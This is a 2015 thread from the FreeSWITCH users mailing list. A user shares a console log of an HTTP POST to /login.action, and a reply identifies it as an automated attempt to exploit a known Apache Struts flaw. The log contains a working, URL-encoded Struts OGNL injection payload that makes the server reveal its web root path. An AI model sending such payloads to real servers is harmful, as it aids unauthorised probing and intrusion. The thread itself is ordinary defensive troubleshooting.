Looks like [likely automatic] attempt to exploit well-known Struts vulnerability. Nothing to worry about - you keep Freeswitch on port well known for presenting http-related services, you'll get more of it. Just block all strings containing 'HTTP/1' and forget about that - Internet is full of bots and zombies. Best regards, O. On 18 November 2015 at 17:02, Russell Treleaven <rtreleaven@bunnykick.ca> wrote:
I saw this on the freeswitch console months ago and did not get around to following up on it until now. A freeswitch profile is listening on :8080
a.b.c.d = remote address w.x.y.z = freeswitch address
What is this? Is it a concern?
recv 607 bytes from tcp/[a.b.c.d]:4423 at 17:50:50.225319: ------------------------------------------------------------------------ POST /login.action HTTP/1.1 User-Agent: Mozilla/5.0 Accept: */* Content-Type: application/x-www-form-urlencoded Host: w.x.y.z:8080
Content-Length: 395 Expect: 100-continue Connection: Keep-Alive
redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}
_________________________________________________________________________ Professional FreeSWITCH Consulting Services: consulting@freeswitch.org http://www.freeswitchsolutions.com
Official FreeSWITCH Sites http://www.freeswitch.org http://confluence.freeswitch.org http://www.cluecon.com
FreeSWITCH-users mailing list FreeSWITCH-users@lists.freeswitch.org http://lists.freeswitch.org/mailman/listinfo/freeswitch-users UNSUBSCRIBE:http://lists.freeswitch.org/mailman/options/freeswitch-users http://www.freeswitch.org